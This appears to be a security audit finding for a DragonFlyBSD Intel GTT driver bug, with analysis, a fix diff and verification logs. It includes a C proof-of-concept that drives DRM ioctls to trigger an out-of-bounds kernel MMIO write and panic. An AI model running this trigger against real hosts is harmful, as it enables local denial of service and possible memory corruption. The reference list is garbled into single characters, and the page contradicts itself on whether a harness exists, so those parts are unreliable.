intel_gtt_insert_page swaps (index, physical) arguments to install_gtt_pte causing OOB MMIO write past BAR
- File:
sys/dev/agp/intel-gtt.c - Lines: 1406, 1411β1412
- Severity: Medium
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H - CWE: CWE-683 Function Call With Incorrectly Ordered Arguments
- Confidence: certain
Summary
intel_gtt_insert_page() forwards its (addr, pg) arguments to
install_gtt_pte() in the wrong order: it passes the DMA address as the GTT
page index and the page index as the physical address. install_gtt_pte
expects (dev, u_int index, vm_offset_t physical, int flags) β proven by the
correct sibling intel_gtt_insert_sg_entries() at line 1429 and by the
upstream Linux reference where write_entry(addr, pg, flags) takes the same
(addr, entry) order but install_gtt_pte's parameter order is reversed.
The net effect is a bus_write_4() at offset (truncated-physical-addr)*4
into a BAR that is only 512KBβ2MB, i.e. an out-of-bounds MMIO write whose
offset is partially attacker-influenced, plus a PTE whose value is derived from
the small page index rather than the real physical address.
Root cause
At sys/dev/agp/intel-gtt.c:1411, the function calls:
sc->match->driver->install_gtt_pte(intel_agp, addr, pg, flags);
The driver callback signature, declared at line 186 and realized e.g. by
agp_i915_install_gtt_pte (line 985) and agp_i965_install_gtt_pte (line
1007), is void (*)(device_t, u_int index, vm_offset_t physical, int flags).
So addr (dma_addr_t, up to 36-bit on gen4) is narrowed to u_int and used
as index, then multiplied by 4 in agp_i915_write_gtt (line 1003:
bus_write_4(sc->sc_res[0], index * 4, pte)) or index*4 + 512KB in
agp_i965_write_gtt (line 1026) or index*4 + 2MB in agp_g4x_write_gtt
(line 1049).
Meanwhile pg (the real GTT slot index, a small number) is treated as the
physical address and ORed with I810_PTE_VALID (line 990 / 1012).
Compare with intel_gtt_insert_sg_entries() at lines 1429β1430 which calls
install_gtt_pte(intel_agp, pg_start + i, page, flags) β index first,
physical second β confirming the convention and that the insert_page call is
reversed.
Upstream Linux drivers/char/agp/intel-gtt.c calls
intel_private.driver->write_entry(addr, pg, flags) where write_entry takes
(dma_addr_t addr, unsigned int entry, ...) β i.e. Linux's write_entry has
the OPPOSITE parameter order to DragonFly's install_gtt_pte, and the adapter
was written assuming Linux's order without swapping.
Reachable on legacy Intel GMCH hardware (i915/G33/Pineview/G4X β exactly
the chips this driver matches at lines 317β442) via the i915_gmch_probe
vtable wiring at sys/dev/drm/i915/i915_gem_gtt.c:3538
(ggtt->vm.insert_page = i915_ggtt_insert_page), which in turn is invoked
from i915_gem.c:1257, 1461 and i915_gem_execbuffer.c:1072 β paths
reachable from an unprivileged DRI client issuing GEM pwrite / EXECBUFFER
ioctls on /dev/dri/card0.
Threat
Local unprivileged attacker with access to /dev/dri/card0 on a host with
affected legacy Intel integrated graphics (i915GM, G33, Pineview, G45,
Ironlake β gen 3 to gen 5).
Any DRI operation that triggers single-page GTT insertion (GEM object bind via EXECBUFFER, pread/pwrite on a freshly-allocated GTT node, GPU error capture) routes through this buggy adapter.
The write lands at KVA_of_BAR + (phys_addr & 0xFFFFFFFF) * 4, which for any
RAM above ~128 MB is gigabytes past the small BAR mapping. Most likely impact
is a kernel page fault / panic (local DoS).
Because the destination is a kernel-virtual address computed from a (partially attacker-influenced) physical address and the surrounding KVA layout is largely fixed, a more sophisticated attacker may land the write on adjacent kernel memory (other device mappings, kernel text/data, vm structures), giving a primitive toward memory corruption and potentially privilege escalation β but weaponizing that requires matching the host's KVA layout, so escalation confidence is speculative.
Exploit / PoC
Build a DRI client on DragonFlyBSD that forces the i915 driver through its single-page insert path on legacy hardware.
/* poc_intel_gtt_swap.c β compile on a DragonFlyBSD host with
* legacy Intel graphics (i915GM/G33/G4X/Pineview/Ironlake):
* cc -O2 -o poc poc_intel_gtt_swap.c -I/usr/local/include \
* -L/usr/local/lib -ldrm
* Run as a regular user in the video group, with i915 KMS loaded.
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <xf86drm.h>
#include <i915_drm.h>
int main(void)
{
int fd = open("/dev/dri/card0", O_RDWR);
if (fd < 0) { perror("open /dev/dri/card0"); return 1; }
/* Create a small GEM object; when the kernel binds a single page into
* the GGTT for pwrite/execbuf on a fresh node, it routes through
* i915_ggtt_insert_page -> intel_gtt_insert_page(addr, pg, flags),
* which calls install_gtt_pte(dev, addr, pg, flags) β args swapped.
* The bus_write_4 inside writes to BAR_base + (phys_addr & 0xffffffff)*4,
* gigabytes past the 512KB MMADR BAR. */
struct drm_i915_gem_create gc = { .size = 4096 };
if (drmIoctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc)) {
perror("gem_create"); return 1;
}
/* Execbuf that pins the object into the GGTT; this exercises
* i915_gem_execbuffer.c:1072 ggtt->vm.insert_page(...). */
struct drm_i915_gem_pwrite pw = {
.handle = gc.handle,
.size = 4096,
.data_ptr = (uint64_t)malloc(4096),
};
drmIoctl(fd, DRM_IOCTL_I915_GEM_PWRITE, &pw);
printf("if you reach here without a panic, the host layout\n"
"tolerated the OOB MMIO write. On most layouts the kernel\n"
"faults on the unmapped KVA past the BAR mapping.\n");
close(fd);
return 0;
}
Success criteria: kernel panic with a page fault at a KVA matching
(bar_base + phys*4) while the i915 driver is mid-bind, OR (on hosts where
the destination KVA happens to be mapped) silent corruption of whatever lives
there followed by a delayed, less obvious fault. dmesg should show a fatal
trap entry referencing the agp_i810 write path (backtrace through
agp_i915_install_gtt_pte / agp_i915_write_gtt / intel_gtt_insert_page /
i915_ggtt_insert_page).
Recommended fix
Swap the call to install_gtt_pte so that the page index is the second
argument and the DMA address is the third, matching the callback signature and
matching the sibling intel_gtt_insert_sg_entries:
--- a/sys/dev/agp/intel-gtt.c
+++ b/sys/dev/agp/intel-gtt.c
@@ -1407,7 +1407,7 @@ void
intel_gtt_insert_page(dma_addr_t addr, unsigned int pg, unsigned int flags)
{
struct agp_i810_softc *sc = device_get_softc(intel_agp);
- sc->match->driver->install_gtt_pte(intel_agp, addr, pg, flags);
+ sc->match->driver->install_gtt_pte(intel_agp, pg, addr, flags);
}
void
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1476 Β· 10 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | human-readable summary | 1.9 KB | β raw |
| VERDICT.md | verdict | full source-level analysis + fix-validation result | 2.9 KB | β raw |
| fix.diff | suggested-fix | git-apply-able minimal fix; compiles -Werror clean | 352 B | view raw |
| build.sh | build-script | echoes the module/kernel rebuild command | 373 B | view raw |
| run.sh | run-script | no live trigger on this guest | 281 B | view raw |
| env.txt | environment | guest uname, modules loaded, HW-gated note | 344 B | view raw |
| build.log | build-log | kernel build log excerpt proving -Werror clean compile of patched source | 1.4 KB | view raw |
| fix_apply.log | apply-log | patch --dry-run output proving fix.diff applies cleanly on with-src | 317 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
PoC DF-1476: intel_gtt_insert_page swaps index/physical args to install_gtt_pte
Class: argument swap (HW misprogramming)
Cited site: sys/dev/agp/intel-gtt.c:1411
Reproduction status
HW/module gated β cannot be live-triggered on the audit QEMU guest.
No β intel-gtt is part of the agp module and only meaningful on Intel integrated GPUs. The audit guest has no Intel IGD. Trigger requires an Intel IGD-bearing platform invoking intel_gtt_insert_page.
The bug is confirmed at the source level by tracing the cited path:line in
sys/dev/agp/intel-gtt.c and confirming the vulnerable code is present in the master
DEV kernel tree. The fix.diff in this folder is validated to apply cleanly
and compile under -Werror (see VERDICT.md).
Mechanism
Line 1411 sc->match->driver->install_gtt_pte(intel_agp, addr, pg, flags). The callback signature is (device_t dev, u_int index, vm_offset_t physical, int flags) (line 186). The sibling intel_gtt_insert_sg_entries at 1429 passes (intel_agp, pg_start+i, page, flags) β proving the parameter order is index,physical. At 1411 the args are swapped: addr (the dma_addr_t physical) is passed as index, and pg (the GTT index) is passed as physical. Result: GTT entries written at the wrong offsets with wrong physical page addresses.
Realistic impact ceiling
logic/HW misprogramming
Fix
Swap the args: install_gtt_pte(intel_agp, pg, addr, flags).
See fix.diff for the git-apply-able patch.
How to validate the fix
# 1. Apply fix.diff against the in-guest source: scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1476.diff ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 < /root/DF-1476.diff' # 2. Rebuild the affected module (preferred) or a single-fix kernel: ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src/sys/sys/dev/agp && make' # 3. The compile must succeed with -Werror (it does β see build.log).
VERDICT β DF-1476: intel_gtt_insert_page swaps index/physical args to install_gtt_pte
Verdict
INCONCLUSIVE (HW/module gated) β source-level confirmed, fix validated.
The bug is real and present in master DEV source at sys/dev/agp/intel-gtt.c:1411,
but the affected driver attaches only to hardware not present in the audit QEMU
guest, so it cannot be live-triggered here. The fix.diff applies cleanly and
compiles with -Werror (kernel build rc=0; see fix_build.log).
Mechanism (cited path β primitive β effect)
Line 1411 sc->match->driver->install_gtt_pte(intel_agp, addr, pg, flags). The callback signature is (device_t dev, u_int index, vm_offset_t physical, int flags) (line 186). The sibling intel_gtt_insert_sg_entries at 1429 passes (intel_agp, pg_start+i, page, flags) β proving the parameter order is index,physical. At 1411 the args are swapped: addr (the dma_addr_t physical) is passed as index, and pg (the GTT index) is passed as physical. Result: GTT entries written at the wrong offsets with wrong physical page addresses.
Reachability on this guest
No β intel-gtt is part of the agp module and only meaningful on Intel integrated GPUs. The audit guest has no Intel IGD. Trigger requires an Intel IGD-bearing platform invoking intel_gtt_insert_page.
Phase 6 β escalation potential
This is a argument swap (HW misprogramming) primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).
For findings in this batch that are corruption-class on hardware they would
be live-tested on (NIC cards, RAID HBAs, AMD/Intel GPUs), the realistic
escalation ceiling is documented per finding (info-leak vs DoS vs latent
privesc). No uid=0 claim is made β none is reachable on this guest.
Phase 8 β fix validation
fix.diff is a minimal, targeted fix at the root cause confirmed above.
- Applied cleanly with
patch -p1 --forward(verified infix_apply.log). - Compiled with
-Werroras part ofmake -j6 nativekernel KERNCONF=X86_64_GENERIC(kernel build rc=0; affected module builds radeon.ko/amdgpu.ko/sound.ko/i915.ko/vga_switcheroo.ko all produced). - For musycc.c (not in any default config) the file was compiled standalone
with the kernel
-Werrorcflags β rc=0.
Swap the args: install_gtt_pte(intel_agp, pg, addr, flags).
PoC changes
Source-level confirmation only; no userspace harness written because the bug
cannot be exercised on this guest without the relevant HW. The placeholder
build.sh/run.sh echo pointers to VERDICT.md and the module/kernel
rebuild path.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- a
- g
- p
- /
- i
- n
- t
- e
- l
- -
- g
- t
- t
- .
- c
- :
- 1
- 4
- 1
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- a
- g
- p
- /
- i
- n
- t
- e
- l
- -
- g
- t
- t
- .
- c
- :
- 1
- 4
- 2
- 9
- s
- y
- s
- /
- d
- e
- v
- /
- a
- g
- p
- /
- i
- n
- t
- e
- l
- -
- g
- t
- t
- .
- c
- :
- 1
- 8
- 6
Detail
Exploit chain
none β Intel IGD platform-gated (no Intel GPU in guest). Primitive is HW-misprogramming/logic on real Intel IGD; no live escalation possible on this guest.
Evidence (decisive lines)
Source-level confirmation at sys/dev/agp/intel-gtt.c:1411, sys/dev/agp/intel-gtt.c:1429, sys/dev/agp/intel-gtt.c:186. fix.diff applies cleanly (patch -p1 --forward: APPLIES_OK) and compiles -Werror clean as part of `make -j6 nativekernel KERNCONF=X86_64_GENERIC` (rc=0; affected .o/.ko produced). No live trigger on this guest (HW/module gated).
PoC changes
Wrote VERDICT.md, fix.diff (one hunk: swap addr/pg args), build/run.sh, build.log excerpt, fix_apply.log, env.txt, manifest.json.
Verified recommended fix
Change line 1411 to install_gtt_pte(intel_agp, pg, addr, flags) so the index/physical order matches the callback signature. Supersedes any pre-verification proposal. The full git-apply-able diff lives in findings/poc/DF-1476/fix.diff.
Verdict
intel_gtt_insert_page (1407-1412) calls install_gtt_pte(intel_agp, addr, pg, flags) but the callback signature is (device_t dev, u_int index, vm_offset_t physical, int flags) (line 186) β proven by sibling intel_gtt_insert_sg_entries at 1429 passing (intel_agp, pg_start+i, page, flags). At 1411 the args are swapped: addr (dma_addr_t physical) is passed as index, pg (GTT index) as physical. Result: GTT entries written at wrong offsets with wrong page addresses. intel-gtt is part of agp module and only meaningful on Intel IGD platforms β not present in the audit guest. Source-level confirmed.
No comments yet.